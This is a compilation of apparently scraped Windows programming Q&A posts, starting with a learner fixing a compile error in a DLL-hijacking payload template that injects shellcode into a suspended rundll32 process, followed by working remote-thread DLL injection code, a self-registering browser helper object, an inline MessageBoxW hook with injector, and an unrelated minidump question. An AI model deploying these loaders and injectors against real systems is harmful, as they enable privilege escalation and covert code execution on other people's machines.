I'm learning about DLL Hijacking, going step by step this video made by Vivek - Privilege Escalation using DLL Hijacking
Everything is very well explained, but there is one passage that is getting me in trouble. It's about compiling "template.c" with mingw32 on Kali Linux. When I'm doing the same thing as is described in video, means:
root#kali:~# i686-w64-mingw32-gcc-win32 template.c -o template.dll
-shared
I'm still getting this error:
/tmp/ccRJy0bd.o:template.c:(.text+0x49): undefined reference to
`inline_bzero' collect2: error: ld returned 1 exit status
Here is source code of "template.c"
#include <windows.h>
#include "template.h"
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
And "template.h", if needed.
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
Solved.
Just remove "#if BUILDMODE == 2" and "#endif" lines, then compilation is successfully done.
Just remove #if BUILDMODE == 2 and #endif lines, then compilation is successfully done.
Related
I've got a program that enumerates all processes with the Toolhelp API. With my Sysinternals Process Explorer I also can see a description of all processes. Is this description coming from the executable ? How do I get its name ?
That's my current code to enumerate the processes:
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <vector>
#include <system_error>
#include <memory>
using namespace std;
vector<PROCESSENTRY32W> getAllProcesses();
int main()
{
for( PROCESSENTRY32W &pe : getAllProcesses() )
wcout << pe.szExeFile << endl;
}
using XHANDLE = unique_ptr<void, decltype([]( HANDLE h ) { h && h != INVALID_HANDLE_VALUE && CloseHandle( h ); })>;
vector<PROCESSENTRY32W> getAllProcesses()
{
auto throwSysErr = []() { throw system_error( (int)GetLastError(), system_category(), "error enumerating processes" ); };
vector<PROCESSENTRY32W> processes;
XHANDLE xhSnapshot( CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ) );
if( xhSnapshot.get() == INVALID_HANDLE_VALUE )
throwSysErr();;
PROCESSENTRY32W pe;
pe.dwSize = sizeof pe;
if( !Process32FirstW( xhSnapshot.get(), &pe ) )
throwSysErr();
for( ; ; )
{
processes.emplace_back( pe );
pe.dwSize = sizeof pe;
if( !Process32NextW( xhSnapshot.get(), &pe ) )
if( GetLastError() == ERROR_NO_MORE_FILES )
break;
else
throwSysErr();
}
return processes;
}
#RemyLebeau 's way with code implement which is adapted from VerQueryValueA document sample. And as OpenProcess states,
If the specified process is the System Idle Process (0x00000000), the
function fails and the last error code is ERROR_INVALID_PARAMETER. If
the specified process is the System process or one of the Client
Server Run-Time Subsystem (CSRSS) processes, this function fails and
the last error code is ERROR_ACCESS_DENIED because their access
restrictions prevent user-level code from opening them.
int main()
{
TCHAR szFile[MAX_PATH] = {};
DWORD dwSize = MAX_PATH;
for (PROCESSENTRY32W& pe : getAllProcesses())
{
wcout << pe.szExeFile << endl;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,
FALSE, pe.th32ProcessID);
if (hProcess == NULL)
{
//ErrorExit(TEXT("OpenProcess"));
}
else
{
memset(szFile, 0, MAX_PATH);
dwSize = MAX_PATH;
QueryFullProcessImageName(hProcess,0, szFile,&dwSize);
DWORD s = GetFileVersionInfoSize(szFile,NULL);
if (s != 0)
{
LPVOID lpData = HeapAlloc(GetProcessHeap(), 0, s);
GetFileVersionInfo(szFile,0,s, lpData);
HRESULT hr;
UINT cbTranslate;
struct LANGANDCODEPAGE {
WORD wLanguage;
WORD wCodePage;
} *lpTranslate;
// Read the list of languages and code pages.
VerQueryValue(lpData,
TEXT("\\VarFileInfo\\Translation"),
(LPVOID*)&lpTranslate,
&cbTranslate);
// Read the file description for each language and code page.
LPVOID lpBuffer;
UINT dwBytes;
for (int i = 0; i < (cbTranslate / sizeof(struct LANGANDCODEPAGE)); i++)
{
TCHAR SubBlock[255] = {};
hr = StringCchPrintf(SubBlock, 50,
TEXT("\\StringFileInfo\\%04x%04x\\FileDescription"),
lpTranslate[i].wLanguage,
lpTranslate[i].wCodePage);
if (FAILED(hr))
{
// TODO: write error handler.
}
// Retrieve file description for language and code page "i".
VerQueryValue(lpData,
SubBlock,
&lpBuffer,
&dwBytes);
wcout << (TCHAR*)(lpBuffer) << endl;
}
HeapFree(GetProcessHeap(), 0, lpData);
}
//GetProcessImageFileName(hProcess, szFile, dwSize);
}
}
}
I am trying to inject a dll I've made into note pad.
I've written the following code where I open a process of notepad and inject it with my dll.
Yet, for some reason, my virtualalloc fails.
Would really appreciate some help on the matter.
Code:
#include <Windows.h>
#include <stdio.h>
int main()
{
char dllPath[125];
DWORD pathLen = GetFullPathNameA("MagshimimFinalProject.dll" ,160 , dllPath, NULL);
PVOID addrLoadLibrary = (PVOID)GetProcAddress(GetModuleHandle("notepad.exe"), "LoadLibraryA"); // maybee we need text instead of the dllpath
HANDLE proc = OpenProcess("PROCESS_CREATE_PROCESS",FALSE, "6340");
PVOID memAddr = (PVOID)VirtualAllocEx(proc, NULL,pathLen,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (NULL == memAddr)
{
printf("Couldn't allocate memory");
DWORD err = GetLastError();
return 0;
}
HANDLE hRemote = CreateRemoteThread(proc,NULL,0,memAddr, NULL,0,NULL );
if (NULL == hRemote)
{
printf("Couldn't create thread");
DWORD err = GetLastError();
return 0;
}
WaitForSingleObject(hRemote, INFINITE);
BOOL check = CloseHandle(hRemote);
return 0;
}
I've tried looking up all of the functions and making sure they are all getting the right variables, and looking up tutorials on the matter on youtube, but to no avail.
Edit - as the first comment suggested, I've used the debugger to look at each and every line, and when I checked addrLoadLibrary its value was: "identifier "addrLoadLibrary" is undefined" for some reason. any clue why that is?
Edit 2 - firstly, I was checking its value after the line has been completed (value of addrloadlibrary). Secondly, as someone has mentioned, proc is actually the problem for some reason, as its always NULL. Still trying to figure out why is it not working
edit 3 - fixed the problem with proc by removing the quotation marks like some guy in the comments was telling me (sorry for not remembering name, I'm very bad at that.) Now all thats left to figure out is why is addrLoadLibrary undefined even after line
edit 4 - re-read the documentation of the function "getModuleHandle" and relized it should get the dllpath variable. hopefully im not wrong because im not a native english speaker and documentations are especially tough for me to understand.
There are tons of things wrong with this code. Most of the API calls are just plain incorrect. You are not doing very much error checking. You are not copying the DLL path into the memory you allocate before creating the remote thread.
Try something more like this instead:
#include <Windows.h>
#include <stdio.h>
int main() {
char dllPath[MAX_PATH];
DWORD pathLen = GetFullPathNameA("MagshimimFinalProject.dll", MAX_PATH, dllPath, NULL);
if (!pathLen) {
DWORD err = GetLastError();
printf("Couldn't get DLL path. Error: %u", err);
return 0;
}
PVOID addrLoadLibrary = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// TODO: use CreateToolhelp32Snapshot() or EnumProcesses() to find the correct process ID...
DWORD procID = 6340;
HANDLE proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, procID);
if (!proc) {
DWORD err = GetLastError();
printf("Couldn't open process. Error: %u", err);
return 0;
}
PVOID memAddr = VirtualAllocEx(proc, NULL, pathLen+1, MEM_COMMIT, PAGE_READWRITE);
if (!memAddr) {
DWORD err = GetLastError();
CloseHandle(proc);
printf("Couldn't allocate memory. Error: %u", err);
return 0;
}
if (!WriteProcessMemory(proc, memAddr, dllPath, pathLen+1, NULL)) {
DWORD err = GetLastError();
VirtualFreeEx(proc, memAddr, 0, MEM_RELEASE);
CloseHandle(proc);
printf("Couldn't write to memory. Error: %u", err);
return 0;
}
HANDLE hRemote = CreateRemoteThread(proc, NULL, 0, addrLoadLibrary, memAddr, 0, NULL);
if (!hRemote) {
DWORD err = GetLastError();
VirtualFreeEx(proc, memAddr, 0, MEM_RELEASE);
CloseHandle(proc);
printf("Couldn't create thread. Error: %u", err);
return 0;
}
WaitForSingleObject(hRemote, INFINITE);
CloseHandle(hRemote);
VirtualFreeEx(proc, memAddr, 0, MEM_RELEASE);
CloseHandle(proc);
return 0;
}
I can't get Internet Explorer or Windows Explorer to load this BHO. Sure there's no COM objects that can be created, but Explorer can't know that until it loads the DLL and checks, but LoadLibrary isn't getting called.
The message box shows when I run regsvr32.
Windows Version = 8.1
Internet Epxlorer Version = 11
Enhance Protected Mode on or off doesn't seem to make a difference.
#include <windows.h>
#include <olectl.h>
#include <stddef.h>
#include <string.h>
#define wstrlen wcslen
HINSTANCE me;
DWORD WINAPI M4(void *junk)
{
MessageBox(NULL, "Loaded", "bho", 0);
}
BOOL WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpReserved)
{
wchar_t mainexe[1024];
if (fdwReason == DLL_PROCESS_ATTACH) {
me = hInstDll;
DisableThreadLibraryCalls(me);
/* GetModuleFileNameW(NULL, mainexe, 1024); */
/* len = wstrlen(mainexe); */
HANDLE th = CreateThread(NULL, 32768, M4, NULL, 0, NULL);
}
return TRUE;
}
STDAPI DllGetClassObject(REFIID rclsid,REFIID riid,LPVOID *ppv)
{
return CLASS_E_CLASSNOTAVAILABLE;
}
STDAPI DllCanUnloadNow()
{
return FALSE;
}
const char *CLSID_NAME = "CLSID\\{2D3E480A-0000-0000-0000-64756D796C6472}";
const char *CLSID_IPS32 = "CLSID\\{2D3E480A-0000-0000-0000-64756D796C6472}\\InProcServer32";
const char *BHO = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects\\{2D3E480A-0000-0000-0000-64756D796C6472}";
const wchar_t *name = L"Redacted BHO";
const char *apt = "Apartment";
STDAPI DllRegisterServer()
{
HKEY hk;
wchar_t dllpath[1024];
GetModuleFileNameW(me,dllpath,1024);
if (RegCreateKeyEx(HKEY_CLASSES_ROOT, CLSID_NAME, 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hk, NULL) != ERROR_SUCCESS)
return SELFREG_E_CLASS;
RegSetValueExW(hk, NULL, 0, REG_SZ, (const BYTE *)(name), (wstrlen(name) + 1) << 1);
RegCloseKey(hk);
if (RegCreateKeyEx(HKEY_CLASSES_ROOT, CLSID_IPS32, 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hk, NULL) != ERROR_SUCCESS)
return SELFREG_E_CLASS;
RegSetValueExW(hk, NULL, 0, REG_SZ, (const BYTE *)(dllpath), (wstrlen(dllpath) + 1) << 1);
RegSetValueEx(hk, "ThreadingModel", 0, REG_SZ, (const BYTE *)(apt), 10);
RegCloseKey(hk);
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, BHO, 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hk, NULL) != ERROR_SUCCESS)
return SELFREG_E_CLASS;
RegCloseKey(hk);
return S_OK;
}
STDAPI DllUnregisterServer()
{
RegDeleteKey(HKEY_LOCAL_MACHINE, BHO);
RegDeleteKey(HKEY_CLASSES_ROOT, CLSID_IPS32);
RegDeleteKey(HKEY_CLASSES_ROOT, CLSID_NAME);
}
For IE11 in enhanced protected mode (EPM), the registry must be updated with:
HKEY_CLASSES_ROOT\CLSID\{your BHO CLSID}\Implemented
Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}
I spent much time to capture unhandled exceptions in my process (win32) using API so called setunhandledexceptionfilter().
But I haven't captured exception when WER(Windows Error Report - which is well know for DR.watson) is showed.
Is impossible to catch all of exceptions without third-party in my APP?
I think that there is method for handling, but I don't get it.
I am not accustomed to Windows DEV environment. that's why I lost my mental in googling.
Below is my test-case in vc110(Visual Studio 2012).
chat test[65];
int main() {
// after attaching unhandled exception call-back using setunhandledexceptionfilter()
// die point (ACCESS_VIOLATION c0000005)
for (int k=0; k<1000000; k++)
test[k]=65;
My callback isn't called after WER(windows Error Report) occurs. It doesn't work as my intend.
*But strcpy(NULL, "TEST") which is okay (SUCCESS)*
Below is my source code.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/stat.h>
#include <assert.h>
#include <process.h>
#include <direct.h>
#include <conio.h>
#include <time.h>
#include <Windows.h>
#include <tchar.h>
#include <dbghelp.h>
#include <stdio.h>
#include <crtdbg.h>
#include <WinBase.h>
#pragma comment ( lib, "dbghelp.lib" )
void CreateMiniDump( EXCEPTION_POINTERS* pep );
BOOL CALLBACK MyMiniDumpCallback(
PVOID pParam,
const PMINIDUMP_CALLBACK_INPUT pInput,
PMINIDUMP_CALLBACK_OUTPUT pOutput
);
///////////////////////////////////////////////////////////////////////////////
// Minidump creation function
//
#if 0
LONG WINAPI lpTopLevelExceptionFilter(EXCEPTION_POINTERS* ExceptionInfo);
#endif
void CreateMiniDump( EXCEPTION_POINTERS* pep )
{
time_t t;
struct tm *tinfo;
wchar_t dump_name[128];
HANDLE hFile;
time(&t);
tinfo = localtime(&t);
wcsftime(dump_name, 128, L"MiniDump[%Y%m%d][%H_%M_%S].dmp", tinfo);
// file format MiniDump[YYYYMMDD][HH_MM_SEC]
hFile = CreateFile(dump_name, GENERIC_READ | GENERIC_WRITE,
0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
if( ( hFile != NULL ) && ( hFile != INVALID_HANDLE_VALUE ) )
{
// Create the minidump
MINIDUMP_EXCEPTION_INFORMATION mdei;
MINIDUMP_CALLBACK_INFORMATION mci;
MINIDUMP_TYPE mdt;
BOOL rv;
mdei.ThreadId = GetCurrentThreadId();
mdei.ExceptionPointers = pep;
mdei.ClientPointers = FALSE;
mci.CallbackRoutine = (MINIDUMP_CALLBACK_ROUTINE)MyMiniDumpCallback;
mci.CallbackParam = 0;
mdt = (MINIDUMP_TYPE)(MiniDumpWithIndirectlyReferencedMemory | MiniDumpScanMemory| MiniDumpWithThreadInfo);
rv = MiniDumpWriteDump( GetCurrentProcess(), GetCurrentProcessId(),
hFile, mdt, (pep != 0) ? &mdei : 0, 0, &mci );
if( !rv )
_tprintf( _T("MiniDumpWriteDump failed. Error: %u \n"), GetLastError() );
else
_tprintf( _T("Minidump created.\n") );
// Close the file
CloseHandle( hFile );
}
else
{
_tprintf( _T("CreateFile failed. Error: %u \n"), GetLastError() );
}
}
///////////////////////////////////////////////////////////////////////////////
// Custom minidump callback
//
BOOL CALLBACK MyMiniDumpCallback(
PVOID pParam,
const PMINIDUMP_CALLBACK_INPUT pInput,
PMINIDUMP_CALLBACK_OUTPUT pOutput
)
{
BOOL bRet = FALSE;
// Check parameters
if( pInput == 0 )
return FALSE;
if( pOutput == 0 )
return FALSE;
// Process the callbacks
switch( pInput->CallbackType )
{
case IncludeModuleCallback:
{
// Include the module into the dump
bRet = TRUE;
}
break;
case IncludeThreadCallback:
{
// Include the thread into the dump
bRet = TRUE;
}
break;
case ModuleCallback:
{
// Does the module have ModuleReferencedByMemory flag set ?
if( !(pOutput->ModuleWriteFlags & ModuleReferencedByMemory) )
{
// No, it does not - exclude it
wprintf( L"Excluding module: %s \n", pInput->Module.FullPath );
pOutput->ModuleWriteFlags &= (~ModuleWriteModule);
}
bRet = TRUE;
}
break;
case ThreadCallback:
{
// Include all thread information into the minidump
bRet = TRUE;
}
break;
case ThreadExCallback:
{
// Include this information
bRet = TRUE;
}
break;
case MemoryCallback:
{
// We do not include any information here -> return FALSE
bRet = FALSE;
}
break;
case CancelCallback:
break;
}
return bRet;
}
LONG WINAPI exception_filter_func(EXCEPTION_POINTERS* pep)
{
if (pep == NULL) {
return EXCEPTION_EXECUTE_HANDLER;
}
if (pep->ExceptionRecord->ExceptionCode == EXCEPTION_STACK_OVERFLOW) {
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)CreateMiniDump, pep, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
} else {
CreateMiniDump(pep);
}
return EXCEPTION_EXECUTE_HANDLER;
}
char test[65];
int main(int argc, char **argv)
{
int k;
SetUnhandledExceptionFilter(exception_filter_func);
// exception occured (ACCESS_VIOLATION)
for (k=0; k<1000000; k++)
test[k]=65;
}
I have the first program (written in Win32 API) using a lot of SendMessage() API; it's already done and works.
The problem is I want to write a second one that can detect SendMessage() is called in the first program and if possible, capture its data (HANDLE, WPARAM, LPARAM...)
Does anyone know solution for this problem?
The DLLStudy.dll:
EDIT: ok, this is what I have so far.
#include <windows.h>
#define SIZE 6
typedef int (WINAPI *pMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);
int WINAPI MyMessageBoxW(HWND, LPCWSTR, LPCWSTR, UINT);
void BeginRedirect(LPVOID);
pMessageBoxW pOrigMBAddress = NULL;
BYTE oldBytes[SIZE] = {0};
BYTE JMP[SIZE] = {0};
DWORD oldProtect, myProtect = PAGE_EXECUTE_READWRITE;
INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved)
{
switch(Reason)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "Test", "OK", MB_OK);
pOrigMBAddress = (pMessageBoxW)
GetProcAddress(GetModuleHandle(L"user32.dll"), "MessageBoxW");
if(pOrigMBAddress != NULL)
BeginRedirect(MyMessageBoxW);
break;
case DLL_PROCESS_DETACH:
memcpy(pOrigMBAddress, oldBytes, SIZE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
void BeginRedirect(LPVOID newFunction)
{
BYTE tempJMP[SIZE] = {0xE9, 0x90, 0x90, 0x90, 0x90, 0xC3};
memcpy(JMP, tempJMP, SIZE);
DWORD JMPSize = ((DWORD)newFunction - (DWORD)pOrigMBAddress - 5);
VirtualProtect((LPVOID)pOrigMBAddress, SIZE,
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(oldBytes, pOrigMBAddress, SIZE);
memcpy(&JMP[1], &JMPSize, 4);
memcpy(pOrigMBAddress, JMP, SIZE);
VirtualProtect((LPVOID)pOrigMBAddress, SIZE, oldProtect, NULL);
}
int WINAPI MyMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uiType)
{
VirtualProtect((LPVOID)pOrigMBAddress, SIZE, myProtect, NULL);
memcpy(pOrigMBAddress, oldBytes, SIZE);
int retValue = MessageBoxW(hWnd, lpText, lpCaption, uiType);
memcpy(pOrigMBAddress, JMP, SIZE);
VirtualProtect((LPVOID)pOrigMBAddress, SIZE, oldProtect, NULL);
return retValue;
}
The Injector.cpp
#include <windows.h>
#include <iostream>
using namespace std;
char const Path[]="DLLStudy.dll";
int main(int argc, char* argv)
{
HANDLE hWnd, hProcess, AllocAdresse, hRemoteThread;
DWORD PID;
hWnd = FindWindow(0,"Notepad");
GetWindowThreadProcessId((HWND)hWnd, &PID);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
AllocAdresse = VirtualAllocEx(hProcess, 0, sizeof(Path), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, (void*)AllocAdresse, (void*)Path, sizeof(Path), 0);
hRemoteThread=CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"), AllocAdresse, 0, 0);
WaitForSingleObject(hRemoteThread, INFINITE);
VirtualFreeEx(hProcess, AllocAdresse, sizeof(Path), MEM_DECOMMIT);
CloseHandle(hProcess);
}
EDIT 2: Well, I've managed to make it work. So how to get data from SendMessage() if it is called?
You need to use CreateRemoteThread to inject a DLL into the first application. In the DLL's entrymain, you'd write code to remap the external call to SendMessage to your own SendMessageX which can then tell your other application when SendMessage is being called, and then pass the original call to the WIN32 subsystem.